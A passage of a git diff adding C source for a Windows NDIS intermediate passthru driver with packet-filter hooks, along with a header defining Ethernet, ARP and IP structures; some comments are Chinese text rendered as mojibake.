NDIS_STATUS Status, + IN NDIS_STATUS OpenErrorStatus + ) +/*++ + +Routine Description: + + Completion routine for NdisOpenAdapter issued from within the PtBindAdapter. Simply + unblock the caller. + +Arguments: + + ProtocolBindingContext Pointer to the adapter + Status Status of the NdisOpenAdapter call + OpenErrorStatus Secondary status(ignored by us). + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + + UNREFERENCED_PARAMETER(OpenErrorStatus); + + DBGPRINT(("==> PtOpenAdapterComplete: Adapt %p, Status %x\n", pAdapt, Status)); + pAdapt->Status = Status; + NdisSetEvent(&pAdapt->Event); +} + + +VOID +PtUnbindAdapter( + OUT PNDIS_STATUS Status, + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_HANDLE UnbindContext + ) +/*++ + +Routine Description: + + Called by NDIS when we are required to unbind to the adapter below. + This functions shares functionality with the miniport's HaltHandler. + The code should ensure that NdisCloseAdapter and NdisFreeMemory is called + only once between the two functions + +Arguments: + + Status Placeholder for return status + ProtocolBindingContext Pointer to the adapter structure + UnbindContext Context for NdisUnbindComplete() if this pends + +Return Value: + + Status for NdisIMDeinitializeDeviceContext + +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + NDIS_STATUS LocalStatus; + + UNREFERENCED_PARAMETER(UnbindContext); + + DBGPRINT(("==> PtUnbindAdapter: Adapt %p\n", pAdapt)); + + // + // Set the flag that the miniport below is unbinding, so the request handlers will + // fail any request comming later + // + NdisAcquireSpinLock(&pAdapt->Lock); + pAdapt->UnbindingInProcess = TRUE; + if (pAdapt->QueuedRequest == TRUE) + { + pAdapt->QueuedRequest = FALSE; + NdisReleaseSpinLock(&pAdapt->Lock); + + PtRequestComplete(pAdapt, + &pAdapt->Request, + NDIS_STATUS_FAILURE ); + + } + else + { + NdisReleaseSpinLock(&pAdapt->Lock); + } +#ifndef WIN9X + // + // Check if we had called NdisIMInitializeDeviceInstanceEx and + // we are awaiting a call to MiniportInitialize. + // + if (pAdapt->MiniportInitPending == TRUE) + { + // + // Try to cancel the pending IMInit process. + // + LocalStatus = NdisIMCancelInitializeDeviceInstance( + DriverHandle, + &pAdapt->DeviceName); + + if (LocalStatus == NDIS_STATUS_SUCCESS) + { + // + // Successfully cancelled IM Initialization; our + // Miniport Initialize routine will not be called + // for this device. + // + pAdapt->MiniportInitPending = FALSE; + ASSERT(pAdapt->MiniportHandle == NULL); + } + else + { + // + // Our Miniport Initialize routine will be called + // (may be running on another thread at this time). + // Wait for it to finish. + // + NdisWaitEvent(&pAdapt->MiniportInitEvent, 0); + ASSERT(pAdapt->MiniportInitPending == FALSE); + } + + } +#endif // !WIN9X + + // + // Call NDIS to remove our device-instance. We do most of the work + // inside the HaltHandler. + // + // The Handle will be NULL if our miniport Halt Handler has been called or + // if the IM device was never initialized + // + + if (pAdapt->MiniportHandle != NULL) + { + *Status = NdisIMDeInitializeDeviceInstance(pAdapt->MiniportHandle); + + if (*Status != NDIS_STATUS_SUCCESS) + { + *Status = NDIS_STATUS_FAILURE; + } + } + else + { + // + // We need to do some work here. + // Close the binding below us + // and release the memory allocated. + // + if(pAdapt->BindingHandle != NULL) + { + NdisResetEvent(&pAdapt->Event); + + NdisCloseAdapter(Status, pAdapt->BindingHandle); + + // + // Wait for it to complete + // + if(*Status == NDIS_STATUS_PENDING) + { + NdisWaitEvent(&pAdapt->Event, 0); + *Status = pAdapt->Status; + } + pAdapt->BindingHandle = NULL; + } + else + { + // + // Both Our MiniportHandle and Binding Handle should not be NULL. + // + *Status = NDIS_STATUS_FAILURE; + ASSERT(0); + } + + // + // Free the memory here, if was not released earlier(by calling the HaltHandler) + // + // BEGIN_PTUSERIO + + // ÒƳýЭÒé¶ÔÊÊÅäÆ÷µÄÒýÓà + PtDerefAdapter(pAdapt); + +// END_PTUSERIO + } + + DBGPRINT(("<== PtUnbindAdapter: Adapt %p\n", pAdapt)); +} + +VOID +PtUnloadProtocol( + VOID +) +{ + NDIS_STATUS Status; + + if (ProtHandle != NULL) + { + NdisDeregisterProtocol(&Status, ProtHandle); + ProtHandle = NULL; + } + + DBGPRINT(("PtUnloadProtocol: done!\n")); +} + + + +VOID +PtCloseAdapterComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status + ) +/*++ + +Routine Description: + + Completion for the CloseAdapter call. + +Arguments: + + ProtocolBindingContext Pointer to the adapter structure + Status Completion status + +Return Value: + + None. + +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + + DBGPRINT(("CloseAdapterComplete: Adapt %p, Status %x\n", pAdapt, Status)); + pAdapt->Status = Status; + NdisSetEvent(&pAdapt->Event); +} + + +VOID +PtResetComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status + ) +/*++ + +Routine Description: + + Completion for the reset. + +Arguments: + + ProtocolBindingContext Pointer to the adapter structure + Status Completion status + +Return Value: + + None. + +--*/ +{ + + UNREFERENCED_PARAMETER(ProtocolBindingContext); + UNREFERENCED_PARAMETER(Status); + // + // We never issue a reset, so we should not be here. + // + ASSERT(0); +} + + +VOID +PtRequestComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_REQUEST NdisRequest, + IN NDIS_STATUS Status + ) +/*++ + +Routine Description: + + Completion handler for the previously posted request. All OIDS + are completed by and sent to the same miniport that they were requested for. + If Oid == OID_PNP_QUERY_POWER then the data structure needs to returned with all entries = + NdisDeviceStateUnspecified + +Arguments: + + ProtocolBindingContext Pointer to the adapter structure + NdisRequest The posted request + Status Completion status + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt = (PADAPT)ProtocolBindingContext; + NDIS_OID Oid = pAdapt->Request.DATA.SET_INFORMATION.Oid ; + + +// BEGIN_PTUSERIO + + if(NdisRequest != &(pAdapt->Request)) + { + DevRequestComplete(pAdapt, NdisRequest,Status); + return; + + } +// END_PTUSERIO + + // + // Since our request is not outstanding anymore + // + ASSERT(pAdapt->OutstandingRequests == TRUE); + + pAdapt->OutstandingRequests = FALSE; + + // + // Complete the Set or Query, and fill in the buffer for OID_PNP_CAPABILITIES, if need be. + // + switch (NdisRequest->RequestType) + { + case NdisRequestQueryInformation: + + // + // We never pass OID_PNP_QUERY_POWER down. + // + ASSERT(Oid != OID_PNP_QUERY_POWER); + + if ((Oid == OID_PNP_CAPABILITIES) && (Status == NDIS_STATUS_SUCCESS)) + { + MPQueryPNPCapabilities(pAdapt, &Status); + } + *pAdapt->BytesReadOrWritten = NdisRequest->DATA.QUERY_INFORMATION.BytesWritten; + *pAdapt->BytesNeeded = NdisRequest->DATA.QUERY_INFORMATION.BytesNeeded; + + if ((Oid == OID_GEN_MAC_OPTIONS) && (Status == NDIS_STATUS_SUCCESS)) + { + // + // Remove the no-loopback bit from mac-options. In essence we are + // telling NDIS that we can handle loopback. We don't, but the + // interface below us does. If we do not do this, then loopback + // processing happens both below us and above us. This is wasteful + // at best and if Netmon is running, it will see multiple copies + // of loopback packets when sniffing above us. + // + // Only the lowest miniport is a stack of layered miniports should + // ever report this bit set to NDIS. + // + *(PULONG)NdisRequest->DATA.QUERY_INFORMATION.InformationBuffer &= ~NDIS_MAC_OPTION_NO_LOOPBACK; + } + + NdisMQueryInformationComplete(pAdapt->MiniportHandle, + Status); + break; + + case NdisRequestSetInformation: + + ASSERT( Oid != OID_PNP_SET_POWER); + + *pAdapt->BytesReadOrWritten = NdisRequest->DATA.SET_INFORMATION.BytesRead; + *pAdapt->BytesNeeded = NdisRequest->DATA.SET_INFORMATION.BytesNeeded; + NdisMSetInformationComplete(pAdapt->MiniportHandle, + Status); + break; + + default: + ASSERT(0); + break; + } + +} + + +VOID +PtStatus( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS GeneralStatus, + IN PVOID StatusBuffer, + IN UINT StatusBufferSize + ) +/*++ + +Routine Description: + + Status handler for the lower-edge(protocol). + +Arguments: + + ProtocolBindingContext Pointer to the adapter structure + GeneralStatus Status code + StatusBuffer Status buffer + StatusBufferSize Size of the status buffer + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt = (PADAPT)ProtocolBindingContext; + + // + // Pass up this indication only if the upper edge miniport is initialized + // and powered on. Also ignore indications that might be sent by the lower + // miniport when it isn't at D0. + // + if ((pAdapt->MiniportHandle != NULL) && + (pAdapt->MPDeviceState == NdisDeviceStateD0) && + (pAdapt->PTDeviceState == NdisDeviceStateD0)) + { + if ((GeneralStatus == NDIS_STATUS_MEDIA_CONNECT) || + (GeneralStatus == NDIS_STATUS_MEDIA_DISCONNECT)) + { + + pAdapt->LastIndicatedStatus = GeneralStatus; + } + NdisMIndicateStatus(pAdapt->MiniportHandle, + GeneralStatus, + StatusBuffer, + StatusBufferSize); + } + // + // Save the last indicated media status + // + else + { + if ((pAdapt->MiniportHandle != NULL) && + ((GeneralStatus == NDIS_STATUS_MEDIA_CONNECT) || + (GeneralStatus == NDIS_STATUS_MEDIA_DISCONNECT))) + { + pAdapt->LatestUnIndicateStatus = GeneralStatus; + } + } + +} + + +VOID +PtStatusComplete( + IN NDIS_HANDLE ProtocolBindingContext + ) +/*++ + +Routine Description: + + +Arguments: + + +Return Value: + + +--*/ +{ + PADAPT pAdapt = (PADAPT)ProtocolBindingContext; + + // + // Pass up this indication only if the upper edge miniport is initialized + // and powered on. Also ignore indications that might be sent by the lower + // miniport when it isn't at D0. + // + if ((pAdapt->MiniportHandle != NULL) && + (pAdapt->MPDeviceState == NdisDeviceStateD0) && + (pAdapt->PTDeviceState == NdisDeviceStateD0)) + { + NdisMIndicateStatusComplete(pAdapt->MiniportHandle); + } +} + + +VOID +PtSendComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET Packet, + IN NDIS_STATUS Status + ) +/*++ + +Routine Description: + + Called by NDIS when the miniport below had completed a send. We should + complete the corresponding upper-edge send this represents. + +Arguments: + + ProtocolBindingContext - Points to ADAPT structure + Packet - Low level packet being completed + Status - status of send + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt = (PADAPT)ProtocolBindingContext; + PNDIS_PACKET Pkt; + NDIS_HANDLE PoolHandle; + +#ifdef NDIS51 + // + // Packet stacking: + // + // Determine if the packet we are completing is the one we allocated. If so, then + // get the original packet from the reserved area and completed it and free the + // allocated packet. If this is the packet that was sent down to us, then just + // complete it + // + PoolHandle = NdisGetPoolFromPacket(Packet); + if (PoolHandle != pAdapt->SendPacketPoolHandle) + { + // + // We had passed down a packet belonging to the protocol above us. + // + // DBGPRINT(("PtSendComp: Adapt %p, Stacked Packet %p\n", pAdapt, Packet)); + + NdisMSendComplete(pAdapt->MiniportHandle, + Packet, + Status); + } + else +#endif // NDIS51 + { + PSEND_RSVD SendRsvd; + + SendRsvd = (PSEND_RSVD)(Packet->ProtocolReserved); + Pkt = SendRsvd->OriginalPkt; + +#ifndef WIN9X + NdisIMCopySendCompletePerPacketInfo (Pkt, Packet); +#endif + + NdisDprFreePacket(Packet); + + NdisMSendComplete(pAdapt->MiniportHandle, + Pkt, + Status); + } + // + // Decrease the outstanding send count + // + ADAPT_DECR_PENDING_SENDS(pAdapt); +} + + +VOID +PtTransferDataComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET Packet, + IN NDIS_STATUS Status, + IN UINT BytesTransferred + ) +/*++ + +Routine Description: + + Entry point called by NDIS to indicate completion of a call by us + to NdisTransferData. + + See notes under SendComplete. + +Arguments: + +Return Value: + +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + + if(pAdapt->MiniportHandle) + { + NdisMTransferDataComplete(pAdapt->MiniportHandle, + Packet, + Status, + BytesTransferred); + } +} + + +NDIS_STATUS +PtReceive( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_HANDLE MacReceiveContext, + IN PVOID HeaderBuffer, + IN UINT HeaderBufferSize, + IN PVOID LookAheadBuffer, + IN UINT LookAheadBufferSize, + IN UINT PacketSize + ) +/*++ + +Routine Description: + + Handle receive data indicated up by the miniport below. We pass + it along to the protocol above us. + + If the miniport below indicates packets, NDIS would more + likely call us at our ReceivePacket handler. However we + might be called here in certain situations even though + the miniport below has indicated a receive packet, e.g. + if the miniport had set packet status to NDIS_STATUS_RESOURCES. + +Arguments: + + + +Return Value: + + NDIS_STATUS_SUCCESS if we processed the receive successfully, + NDIS_STATUS_XXX error code if we discarded it. + +--*/ +{ + PADAPT pAdapt = (PADAPT)ProtocolBindingContext; + PNDIS_PACKET MyPacket, Packet; + NDIS_STATUS Status = NDIS_STATUS_SUCCESS; + + if ((!pAdapt->MiniportHandle) || (pAdapt->MPDeviceState > NdisDeviceStateD0)) + { + Status = NDIS_STATUS_FAILURE; + } + else do + { +// BEGIN_PTEX_FILTER + BOOLEAN bPass; + + bPass = FltFilterReceive( + pAdapt, + MacReceiveContext, + HeaderBuffer, + HeaderBufferSize, + LookAheadBuffer, + LookAheadBufferSize, + PacketSize + ); + + if(!bPass) + { + // ¾Ü¾øÕâ¸ö·â°ü + Status = NDIS_STATUS_SUCCESS; + break; + } + +// END_PTEX_FILTER + // + // Get at the packet, if any, indicated up by the miniport below. + // + Packet = NdisGetReceivedPacket(pAdapt->BindingHandle, MacReceiveContext); + if (Packet != NULL) + { + // + // The miniport below did indicate up a packet. Use information + // from that packet to construct a new packet to indicate up. + // + +#ifdef NDIS51 + // + // NDIS 5.1 NOTE: Do not reuse the original packet in indicating + // up a receive, even if there is sufficient packet stack space. + // If we had to do so, we would have had to overwrite the + // status field in the original packet to NDIS_STATUS_RESOURCES, + // and it is not allowed for protocols to overwrite this field + // in received packets. + // +#endif // NDIS51 + + // + // Get a packet off the pool and indicate that up + // + NdisDprAllocatePacket(&Status, + &MyPacket, + pAdapt->RecvPacketPoolHandle); + + if (Status == NDIS_STATUS_SUCCESS) + { + // + // Make our packet point to data from the original + // packet. NOTE: this works only because we are + // indicating a receive directly from the context of + // our receive indication. If we need to queue this + // packet and indicate it from another thread context, + // we will also have to allocate a new buffer and copy + // over the packet contents, OOB data and per-packet + // information. This is because the packet data + // is available only for the duration of this + // receive indication call. + // + MyPacket->Private.Head = Packet->Private.Head; + MyPacket->Private.Tail = Packet->Private.Tail; + + // + // Get the original packet (it could be the same packet as the + // one received or a different one based on the number of layered + // miniports below) and set it on the indicated packet so the OOB + // data is visible correctly at protocols above. + // + NDIS_SET_ORIGINAL_PACKET(MyPacket, NDIS_GET_ORIGINAL_PACKET(Packet)); + NDIS_SET_PACKET_HEADER_SIZE(MyPacket, HeaderBufferSize); + + // + // Copy packet flags. + // + NdisGetPacketFlags(MyPacket) = NdisGetPacketFlags(Packet); + + // + // Force protocols above to make a copy if they want to hang + // on to data in this packet. This is because we are in our + // Receive handler (not ReceivePacket) and we can't return a + // ref count from here. + // + NDIS_SET_PACKET_STATUS(MyPacket, NDIS_STATUS_RESOURCES); + + // + // By setting NDIS_STATUS_RESOURCES, we also know that we can reclaim + // this packet as soon as the call to NdisMIndicateReceivePacket + // returns. + // + + NdisMIndicateReceivePacket(pAdapt->MiniportHandle, &MyPacket, 1); + + // + // Reclaim the indicated packet. Since we had set its status + // to NDIS_STATUS_RESOURCES, we are guaranteed that protocols + // above are done with it. + // + NdisDprFreePacket(MyPacket); + + break; + } + } + else + { + // + // The miniport below us uses the old-style (not packet) + // receive indication. Fall through. + // + } + + // + // Fall through if the miniport below us has either not + // indicated a packet or we could not allocate one + // + pAdapt->IndicateRcvComplete = TRUE; + switch (pAdapt->Medium) + { + case NdisMedium802_3: + case NdisMediumWan: + NdisMEthIndicateReceive(pAdapt->MiniportHandle, + MacReceiveContext, + HeaderBuffer, + HeaderBufferSize, + LookAheadBuffer, + LookAheadBufferSize, + PacketSize); + break; + + case NdisMedium802_5: + NdisMTrIndicateReceive(pAdapt->MiniportHandle, + MacReceiveContext, + HeaderBuffer, + HeaderBufferSize, + LookAheadBuffer, + LookAheadBufferSize, + PacketSize); + break; + + case NdisMediumFddi: + NdisMFddiIndicateReceive(pAdapt->MiniportHandle, + MacReceiveContext, + HeaderBuffer, + HeaderBufferSize, + LookAheadBuffer, + LookAheadBufferSize, + PacketSize); + break; + + default: + ASSERT(FALSE); + break; + } + + } while(FALSE); + + return Status; +} + + +VOID +PtReceiveComplete( + IN NDIS_HANDLE ProtocolBindingContext + ) +/*++ + +Routine Description: + + Called by the adapter below us when it is done indicating a batch of + received packets. + +Arguments: + + ProtocolBindingContext Pointer to our adapter structure. + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + + if (((pAdapt->MiniportHandle != NULL) + && (pAdapt->MPDeviceState > NdisDeviceStateD0)) + && (pAdapt->IndicateRcvComplete)) + { + switch (pAdapt->Medium) + { + case NdisMedium802_3: + case NdisMediumWan: + NdisMEthIndicateReceiveComplete(pAdapt->MiniportHandle); + break; + + case NdisMedium802_5: + NdisMTrIndicateReceiveComplete(pAdapt->MiniportHandle); + break; + + case NdisMediumFddi: + NdisMFddiIndicateReceiveComplete(pAdapt->MiniportHandle); + break; + + default: + ASSERT(FALSE); + break; + } + } + + pAdapt->IndicateRcvComplete = FALSE; +} + + +INT +PtReceivePacket( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET Packet + ) +/*++ + +Routine Description: + + ReceivePacket handler. Called by NDIS if the miniport below supports + NDIS 4.0 style receives. Re-package the buffer chain in a new packet + and indicate the new packet to protocols above us. Any context for + packets indicated up must be kept in the MiniportReserved field. + + NDIS 5.1 - packet stacking - if there is sufficient "stack space" in + the packet passed to us, we can use the same packet in a receive + indication. + +Arguments: + + ProtocolBindingContext - Pointer to our adapter structure. + Packet - Pointer to the packet + +Return Value: + + == 0 -> We are done with the packet + != 0 -> We will keep the packet and call NdisReturnPackets() this + many times when done. +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + NDIS_STATUS Status; + PNDIS_PACKET MyPacket; + BOOLEAN Remaining; + + // + // Drop the packet silently if the upper miniport edge isn't initialized or + // the miniport edge is in low power state + // + if ((!pAdapt->MiniportHandle) || (pAdapt->MPDeviceState > NdisDeviceStateD0)) + { + return 0; + } + +// BEGIN_PTEX_FILTER + // + // µ÷ÓùýÂ˽ÓÊÕ·â°üµÄº¯Êý + // + if(!FltFilterReceivePacket( pAdapt, Packet )) + return 0; +// END_PTEX_FILTER + +#ifdef NDIS51 + // + // Check if we can reuse the same packet for indicating up. + // See also: PtReceive(). + // + (VOID)NdisIMGetCurrentPacketStack(Packet, &Remaining); + if (Remaining) + { + // + // We can reuse "Packet". Indicate it up and be done with it. + // + Status = NDIS_GET_PACKET_STATUS(Packet); + NdisMIndicateReceivePacket(pAdapt->MiniportHandle, &Packet, 1); + return((Status != NDIS_STATUS_RESOURCES) ? 1 : 0); + } +#endif // NDIS51 + + // + // Get a packet off the pool and indicate that up + // + NdisDprAllocatePacket(&Status, + &MyPacket, + pAdapt->RecvPacketPoolHandle); + + if (Status == NDIS_STATUS_SUCCESS) + { + PRECV_RSVD RecvRsvd; + + RecvRsvd = (PRECV_RSVD)(MyPacket->MiniportReserved); + RecvRsvd->OriginalPkt = Packet; + + MyPacket->Private.Head = Packet->Private.Head; + MyPacket->Private.Tail = Packet->Private.Tail; + + // + // Get the original packet (it could be the same packet as the one + // received or a different one based on the number of layered miniports + // below) and set it on the indicated packet so the OOB data is visible + // correctly to protocols above us. + // + NDIS_SET_ORIGINAL_PACKET(MyPacket, NDIS_GET_ORIGINAL_PACKET(Packet)); + + // + // Set Packet Flags + // + NdisGetPacketFlags(MyPacket) = NdisGetPacketFlags(Packet); + + Status = NDIS_GET_PACKET_STATUS(Packet); + + NDIS_SET_PACKET_STATUS(MyPacket, Status); + NDIS_SET_PACKET_HEADER_SIZE(MyPacket, NDIS_GET_PACKET_HEADER_SIZE(Packet)); + + NdisMIndicateReceivePacket(pAdapt->MiniportHandle, &MyPacket, 1); + + // + // Check if we had indicated up the packet with NDIS_STATUS_RESOURCES + // NOTE -- do not use NDIS_GET_PACKET_STATUS(MyPacket) for this since + // it might have changed! Use the value saved in the local variable. + // + if (Status == NDIS_STATUS_RESOURCES) + { + // + // Our ReturnPackets handler will not be called for this packet. + // We should reclaim it right here. + // + NdisDprFreePacket(MyPacket); + } + + return((Status != NDIS_STATUS_RESOURCES) ? 1 : 0); + } + else + { + // + // We are out of packets. Silently drop it. + // + return(0); + } +} + + + + +NDIS_STATUS +PtPNPHandler( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNET_PNP_EVENT pNetPnPEvent + ) + +/*++ +Routine Description: + + This is called by NDIS to notify us of a PNP event related to a lower + binding. Based on the event, this dispatches to other helper routines. + + NDIS 5.1: forward this event to the upper protocol(s) by calling + NdisIMNotifyPnPEvent. + +Arguments: + + ProtocolBindingContext - Pointer to our adapter structure. Can be NULL + for "global" notifications + + pNetPnPEvent - Pointer to the PNP event to be processed. + +Return Value: + + NDIS_STATUS code indicating status of event processing. + +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + NDIS_STATUS Status = NDIS_STATUS_SUCCESS; + + DBGPRINT(("PtPnPHandler: Adapt %p, Event %d\n", pAdapt, pNetPnPEvent->NetEvent)); + + switch (pNetPnPEvent->NetEvent) + { + case NetEventSetPower: + Status = PtPnPNetEventSetPower(pAdapt, pNetPnPEvent); + break; + + case NetEventReconfigure: + Status = PtPnPNetEventReconfigure(pAdapt, pNetPnPEvent); + break; + + default: +#ifdef NDIS51 + // + // Pass on this notification to protocol(s) above, before + // doing anything else with it. + // + if (pAdapt && pAdapt->MiniportHandle) + { + Status = NdisIMNotifyPnPEvent(pAdapt->MiniportHandle, pNetPnPEvent); + } +#else + Status = NDIS_STATUS_SUCCESS; + +#endif // NDIS51 + + break; + } + + return Status; +} + + +NDIS_STATUS +PtPnPNetEventReconfigure( + IN PADAPT pAdapt, + IN PNET_PNP_EVENT pNetPnPEvent + ) +/*++ +Routine Description: + + This routine is called from NDIS to notify our protocol edge of a + reconfiguration of parameters for either a specific binding (pAdapt + is not NULL), or global parameters if any (pAdapt is NULL). + +Arguments: + + pAdapt - Pointer to our adapter structure. + pNetPnPEvent - the reconfigure event + +Return Value: + + NDIS_STATUS_SUCCESS + +--*/ +{ + NDIS_STATUS ReconfigStatus = NDIS_STATUS_SUCCESS; + NDIS_STATUS ReturnStatus = NDIS_STATUS_SUCCESS; + + do + { + // + // Is this is a global reconfiguration notification ? + // + if (pAdapt == NULL) + { + // + // An important event that causes this notification to us is if + // one of our upper-edge miniport instances was enabled after being + // disabled earlier, e.g. from Device Manager in Win2000. Note that + // NDIS calls this because we had set up an association between our + // miniport and protocol entities by calling NdisIMAssociateMiniport. + // + // Since we would have torn down the lower binding for that miniport, + // we need NDIS' assistance to re-bind to the lower miniport. The + // call to NdisReEnumerateProtocolBindings does exactly that. + // + NdisReEnumerateProtocolBindings (ProtHandle); + break; + } + +#ifdef NDIS51 + // + // Pass on this notification to protocol(s) above before doing anything + // with it. + // + if (pAdapt->MiniportHandle) + { + ReturnStatus = NdisIMNotifyPnPEvent(pAdapt->MiniportHandle, pNetPnPEvent); + } +#endif // NDIS51 + + ReconfigStatus = NDIS_STATUS_SUCCESS; + + } while(FALSE); + + DBGPRINT(("<==PtPNPNetEventReconfigure: pAdapt %p\n", pAdapt)); + +#ifdef NDIS51 + // + // Overwrite status with what upper-layer protocol(s) returned. + // + ReconfigStatus = ReturnStatus; +#endif + + return ReconfigStatus; +} + + +NDIS_STATUS +PtPnPNetEventSetPower( + IN PADAPT pAdapt, + IN PNET_PNP_EVENT pNetPnPEvent + ) +/*++ +Routine Description: + + This is a notification to our protocol edge of the power state + of the lower miniport. If it is going to a low-power state, we must + wait here for all outstanding sends and requests to complete. + + NDIS 5.1: Since we use packet stacking, it is not sufficient to + check usage of our local send packet pool to detect whether or not + all outstanding sends have completed. For this, use the new API + NdisQueryPendingIOCount. + + NDIS 5.1: Use the 5.1 API NdisIMNotifyPnPEvent to pass on PnP + notifications to upper protocol(s). + +Arguments: + + pAdapt - Pointer to the adpater structure + pNetPnPEvent - The Net Pnp Event. this contains the new device state + +Return Value: + + NDIS_STATUS_SUCCESS or the status returned by upper-layer protocols. + +--*/ +{ + PNDIS_DEVICE_POWER_STATE pDeviceState =(PNDIS_DEVICE_POWER_STATE)(pNetPnPEvent->Buffer); + NDIS_DEVICE_POWER_STATE PrevDeviceState = pAdapt->PTDeviceState; + NDIS_STATUS Status; + NDIS_STATUS ReturnStatus; +#ifdef NDIS51 + ULONG PendingIoCount = 0; +#endif // NDIS51 + + ReturnStatus = NDIS_STATUS_SUCCESS; + + // + // Set the Internal Device State, this blocks all new sends or receives + // + NdisAcquireSpinLock(&pAdapt->Lock); + pAdapt->PTDeviceState = *pDeviceState; + + // + // Check if the miniport below is going to a low power state. + // + if (pAdapt->PTDeviceState > NdisDeviceStateD0) + { + // + // If the miniport below is going to standby, fail all incoming requests + // + if (PrevDeviceState == NdisDeviceStateD0) + { + pAdapt->StandingBy = TRUE; + } + + NdisReleaseSpinLock(&pAdapt->Lock); + +#ifdef NDIS51 + // + // Notify upper layer protocol(s) first. + // + if (pAdapt->MiniportHandle != NULL) + { + ReturnStatus = NdisIMNotifyPnPEvent(pAdapt->MiniportHandle, pNetPnPEvent); + } +#endif // NDIS51 + + // + // Wait for outstanding sends and requests to complete. + // + while (pAdapt->OutstandingSends != 0) + { + NdisMSleep(2); + } + + while (pAdapt->OutstandingRequests == TRUE) + { + // + // sleep till outstanding requests complete + // + NdisMSleep(2); + } + + // + // If the below miniport is going to low power state, complete the queued request + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->QueuedRequest) + { + pAdapt->QueuedRequest = FALSE; + NdisReleaseSpinLock(&pAdapt->Lock); + PtRequestComplete(pAdapt, &pAdapt->Request, NDIS_STATUS_FAILURE); + } + else + { + NdisReleaseSpinLock(&pAdapt->Lock); + } + + + ASSERT(NdisPacketPoolUsage(pAdapt->SendPacketPoolHandle) == 0); + ASSERT(pAdapt->OutstandingRequests == FALSE); + } + else + { + // + // If the physical miniport is powering up (from Low power state to D0), + // clear the flag + // + if (PrevDeviceState > NdisDeviceStateD0) + { + pAdapt->StandingBy = FALSE; + } + // + // The device below is being turned on. If we had a request + // pending, send it down now. + // + if (pAdapt->QueuedRequest == TRUE) + { + pAdapt->QueuedRequest = FALSE; + + pAdapt->OutstandingRequests = TRUE; + NdisReleaseSpinLock(&pAdapt->Lock); + + NdisRequest(&Status, + pAdapt->BindingHandle, + &pAdapt->Request); + + if (Status != NDIS_STATUS_PENDING) + { + PtRequestComplete(pAdapt, + &pAdapt->Request, + Status); + + } + } + else + { + NdisReleaseSpinLock(&pAdapt->Lock); + } + + +#ifdef NDIS51 + // + // Pass on this notification to protocol(s) above + // + if (pAdapt->MiniportHandle) + { + ReturnStatus = NdisIMNotifyPnPEvent(pAdapt->MiniportHandle, pNetPnPEvent); + } +#endif // NDIS51 + + } + + return ReturnStatus; +} + + diff --git a/Project/Network and Communication/Phoenix/sys/protoinfo.h b/Project/Network and Communication/Phoenix/sys/protoinfo.h new file mode 100644 index 0000000..6df14da --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/protoinfo.h @@ -0,0 +1,258 @@ +////////////////////////////////////////////////// +// protoinfo.hÎļþ + +/* + +¶¨ÒåЭÒé¸ñʽ +¶¨ÒåЭÒéÖÐʹÓõĺê + + */ + + +#ifndef __PROTOINFO_H__ +#define __PROTOINFO_H__ + + + +//////////////////////////////////////////// +// ºê¶¨Òå + + + + + + + + + + +///////////////////////////////////////////////////////// +// ЭÒé¸ñʽ + +#define ETHERTYPE_IP 0x0800 +#define ETHERTYPE_ARP 0x0806 + +typedef struct _ETHeader // 14 bytes +{ + UCHAR dhost[6]; // Ä¿µÄMACµØÖ·destination mac address + UCHAR shost[6]; // Ô´MACµØÖ·source mac address + USHORT type; // ϲãЭÒéÀàÐÍ£¬ÈçIP£¨ETHERTYPE_IP£©¡¢ARP£¨ETHERTYPE_ARP£©µÈ +} ETHeader, *PETHeader; + + +#define ARPHRD_ETHER 1 + +// ARPЭÒéopcodes +#define ARPOP_REQUEST 1 // ARP ÇëÇó +#define ARPOP_REPLY 2 // ARP ÏìÓ¦ + + + +typedef struct _ARPHeader // 28×Ö½ÚµÄARPÍ· +{ + USHORT hrd; // Ó²¼þµØÖ·¿Õ¼ä£¬ÒÔÌ«ÍøÖÐΪARPHRD_ETHER + USHORT eth_type; // ÒÔÌ«ÍøÀàÐÍ£¬ETHERTYPE_IP £¿£¿ + UCHAR maclen; // MACµØÖ·µÄ³¤¶È£¬Îª6 + UCHAR iplen; // IPµØÖ·µÄ³¤¶È£¬Îª4 + USHORT opcode; // ²Ù×÷´úÂ룬ARPOP_REQUESTΪÇëÇó£¬ARPOP_REPLYΪÏìÓ¦ + UCHAR smac[6]; // Ô´MACµØÖ· + UCHAR saddr[4]; // Ô´IPµØÖ· + UCHAR dmac[6]; // Ä¿µÄMACµØÖ· + UCHAR daddr[4]; // Ä¿µÄIPµØÖ· +} ARPHeader, *PARPHeader; + + + +//Protocol +#define PROTO_ICMP 1 +#define PROTO_IGMP 2 +#define PROTO_TCP 6 +#define PROTO_UDP 17 + +typedef struct _IPHeader // 20 +{ + UCHAR iphVerLen; // °æ±¾ºÅºÍÍ·³¤¶È£¨¸÷Õ¼4룩 + UCHAR ipTOS; // ·þÎñÀàÐÍ + USHORT ipLength; // ·â°ü×ܳ¤¶È£¬¼´Õû¸öIP±¨µÄ³¤¶È + USHORT ipID; // ·â°ü±êʶ£¬Î©Ò»±êʶ·¢Ë͵Äÿһ¸öÊý¾Ý±¨ + USHORT ipFlags; // ±êÖ¾ + UCHAR ipTTL; 